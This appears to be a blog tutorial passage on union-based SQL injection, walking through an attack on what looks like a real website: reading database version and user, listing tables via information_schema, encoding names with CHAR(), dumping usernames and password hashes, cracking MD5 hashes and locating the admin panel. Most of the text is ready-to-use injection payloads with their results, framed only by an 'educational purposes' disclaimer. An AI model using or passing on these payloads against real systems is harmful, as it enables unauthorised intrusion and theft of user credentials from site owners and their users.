Now, here comes the hardest part as people think but it’s not that hardest! Mind it; anything is possible if you love it. Let’s just collect some info about the site. Such as Database Name, User Name, and the Version. Remember the vulnerable columns from before? This is where we use them!

In your Union All Select statement replace the vulnerable column numbers with the three bits of info you want. [Database(), User(), Version()]. union all select version(),database(),user(),4,5,6,7,8,9–

SQL Injection Command Execution

Where the 1,2,3 were on the page before (Or whatever vulnerable column number you used) The bits of information will show on this website, the three pieces of information are,

Database(): web***2
User(): web***u @ localhost
Version(): 5.6.10-log

Great, our first bits of extracted data! We should get some more information. Now before we continue on there are something’s that you’ll need.

  1. Firefox Browser
  2. HackBar Plugin

Okay let’s continue, Next step is to list all the tables. We will now use Group_Concat(table_name) and from information_schema.tables where table_schema=database()–

Don’t worry its simpler than it looks! URL looks like this, union all select 1,2,3,4,5,6,group_concat(table_name),8,9 from information_schema.tables where table_schema=database()–

Hey Look! Tables 😉

categories, config, contents, counter, manufacturers, news, orders, orders_products, products, user

SQL Injection Tables

Well done you’ve successfully extracted the table names. But wait, there’s more! Sadly there is no admin table, but sometimes there is. So let’s go with exploring user table.

Have you installed that Firefox plug-in yet? Because you are going to need it now.

Next thing you need to do is replace Group_Concat(Table_Name) with group_concat(Column_name). If you have HackBar installed press F9, click SQL drop down button go to MySQL then click MySQL CHAR() and Enter the table name.

In this case, user and replace from information_schema.tables where table_schema=database()– with from information_schema.columns where table_name=MYSQLCHAR

The Char will be the code you receive from HackBar in this case user can be encoded as CHAR (117, 115, 101, 114)

The Final URL will look like this: union all select 1,2,3,4,5,6,group_concat(column_name),8,9 from information_schema.columns where table_name=CHAR(117, 115, 101, 114)–

Okay, cool, we have the column names now.


SQL Injection Columns

Now our next task is to get the data from these columns. To do this replace group_concat(column_name) with group_concat(Column_name_2,0x3a,Column_name_3) Where Column_name_2 and Column_name_3 are the column names you want to extract data from. Such as user_name and user_pw.

Now change from information_schema.columns where table_name=CHAR to from user if you want to extract data from a different table name change user to the table name you want to extract data from.

The URL looks like this, union all select 1,2,3,4,5,6,group_concat(user_name,0x3a,user_pw),8,9 from user—

SQL Injection Credentials

We’ve now extracted data! Good Job.

Now we got user table which also contains the admin credentials and we found Username and Password of user you will find MD5 hashed passwords usually. Too decrypt these go to it’s a great site!

You also need to find the admin control panel, try simple URL’s like /admin or /login etc. look on Google for an admin page finder tools. Hope this helps you!

This blog is purely for educational purposes only. Information posted is not intended to harm anyone or any organization.

If anyone wants to have the document on your local system, download it here.